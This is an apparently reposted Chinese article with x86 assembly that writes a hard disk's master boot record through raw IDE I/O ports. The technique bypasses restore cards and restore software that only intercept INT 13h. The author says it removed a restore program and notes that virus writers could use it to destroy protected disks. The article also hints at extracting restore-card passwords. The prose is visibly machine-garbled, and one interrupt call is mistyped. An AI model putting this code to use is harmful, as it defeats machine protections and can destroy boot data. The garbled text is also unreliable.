设为主页 | 加入收藏 | 繁體中文

一种可以穿透还原卡和还原软件的代码


  mov     ax,201h         ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区
  mov     dx,80h
  mov     cx,1
  mov     bx,offset buffer2
  int       13h
  mov     cx,512         ;以下部分用来比力2种要领读出的硬盘数据
  mov     si,offset buffer
  mov     di,offset buffer2
  repe     cmpsb
  jne      failure
  mov     ah,9
  mov     dx,offset readmsg
  int      21h
  jmp     good_exit
  failure:
  mov     ah,9
  mov     dx,offset failmsg
  int       21h
  good_exit:              ;以下部分用来竣事程序
  mov      ax,4c00h        ;加入程序
  int      21h
  readmsg db      'The buffers match.  Hard disk read using ports.$'
  failmsg db      'The buffers do not match.$'
  buffer  db      512 dup ('V')
  buffer2 db      512 dup ('L')
  五、可以穿透复原卡或是复原软件保护的代码
  你可以比较硬盘读写端口含义表,再好悦目看下面的例子,你将会对硬盘读写端口有一个比力深的明白。好了,到了该把答案揭晓的工夫了,重新回到我们的主题。正如你如今想象的,这种可以穿透复原卡或是复原软件保护的代码简直是对硬盘读写端口的输入输入操作。如今,我们曾经可以从原理上明白了,复原卡阻拦的是停止操作,但却阻拦不了输入输入操作,而用输入输入操作充足可以对硬盘进行写操作了,固然用输入输入操作也完全可以读到被虚拟复原程序屏蔽的要害部分,被复原卡或是复原软件屏蔽的0头0道1扇。晓得了这一原理以后,可能是仁者见仁智者见智的,要是你是一个虚拟复原技能的破解者、一个病毒制造者,或是虚拟复原技能的设计者,往往对此的明白都是不尽雷同的。
  在此强调我不同意制造病毒,但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有复原卡或复原软件的呆板了,以是我要提示虚拟复原用户的是,不要以为装有复原卡或是复原软件就失以轻心,要晓得世界上照旧有病毒能够穿透虚拟复原技能的保护,达到破坏硬盘的目的的,想象一下要是把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不胜假想的。
  谈谈如何用这种可以穿透虚拟复原技能的代码来破解复原软件(如复原精灵)吧。以下是我写的用来测试破解复原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码乐成的把复原精灵给卸载了。
  .286
  CODE SEGMENT
  ASSUME CS:CODE,DS:code,ES:code
  START:
  ;----------------------------------------------------------
  ;以下代码用INT13H读主引导区
  mov     ax,0201h
  mov     dx,0080h
  mov     cx,0001h
  mov     bx,7c00h
  int      13h
  ;---------------------------------------------------------
  ;以下代码用I/O端口来写主引导区
  mov     dx,1f6h         ; 要读入的磁盘号及磁头号
  mov     al,0a0h         ; 磁盘0,磁头0
  out      dx,al
  mov     dx,1f2h         ; 要写的扇区数目
  mov     al,1            ; 写一个扇区
  out      dx,al
  mov     dx,1f3h         ;要写的扇区号
  mov     al,1            ;写到1扇区
  out      dx,al
  mov     dx,1f4h         ; 要写的柱面的低8位
  mov     al,0            ; 低8位为0
  out      dx,al
  mov     dx,1f5h         ; 要写的柱面的高2位
  mov     al,0            ; 高2位为0
  out      dx,al
  mov     dx,1f7h         ;下令端口
  mov     al,30h          ;尝试着写扇区.
  out      dx,al
  oogle:
  in       al,dx
  test      al,8            ;磁盘扇区缓冲是否准备好
  jz       oogle
  mov     cx,512/2        ;设置循环次数(512/2)
  mov     si,7c00h
  mov     dx,1f0h         ;数据端口,用来寄存要发送的数据.
  rep      outsw           ;发送数据.
  ; ------------------------------------------------------------------------------
  ;加入程序
  mov     ah,4ch
  int       21
  CODE ENDS
  END START
  下面的程序非常简单,阐明如下:
  1、先把被复原精灵备份的原来的主引导区用INT13H读出来,这里固然是对0头0道1扇进行读操作,但现实上是在读被复原精灵把原来的主引导区备份进去的那个扇区;
  2、把读出的原来的主引导区经过输入输入操作写进真正的主引导区,换句话说就是把复原精灵给彻底删除了,此时重新启动你将发明复原精灵曾经没有了。
  我写了个FORWIN98/NT/XP的卸载复原精灵等软件的程序,各人可到www.lsky.net下载,不过曾经有人先我一步了,那就是网吧终结者出的一个清MBR的程序,我试了一下,发明简直有用,我还没有仔细分析该程序,但我敢一定其原理差未几。那个程序写得不错,不过我认为有一点需要改进,我的硬盘的MBR程序是我本身写的,用来实现多引导操作,当我执行完该清MBR程序后,我的多引导代码就没了,我觉得此程序要是能把核心代码部分改成象我以上的代码,在复原精灵下是把装复原精灵之前的MBR写回到主引导区,即使没装复原精灵的硬盘也只是把主引导区写回主引导区,就没有任何的伤害了。
  用以上的要领要实现复原卡的破解可能是不可的,由于复原卡终究是硬件,它可以先于硬盘引导前执行,如许即使你写回了硬盘的主引导区,复原卡照旧可以把它写回的,但是,在破解复原卡的工夫,完全可以利用文章中的原理,把复原卡写入硬盘主引导区的真正代码读出进行分析,甚至有些复原卡的密码就在这个扇区中。
  对于复原卡和复原软件的制造者来说,如何让您制造的复原卡或复原软件更安全,可能是一个需要思索的问题。至心盼望以后的复原卡或是复原软件在阻拦INT13H的同时也能阻拦硬盘I/O操作。
  在我安置复原精灵的工夫看到一个选项是“防备硬盘I/O破坏”,开始还以为复原精灵在这方面做的不错,想到了从阻拦I/O操作来保护硬盘。惋惜我错了,即使选择这一个选项,也同样可以经过输入输入端口操作来写硬盘。对于掌握了这种技能的人来说,这种复原卡或是复原软件可以说是形同虚设。因而我认为,复原卡和复原软件不光要实现阻拦全部硬盘写操作、阻拦对主引导区的读写操作,更应该阻拦对硬盘的读写端口的操作,只有如许的虚拟复原技能才可能使基于硬盘的读写端口操作所对硬盘的破坏或是对虚拟复原技能的破解变成不可能。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: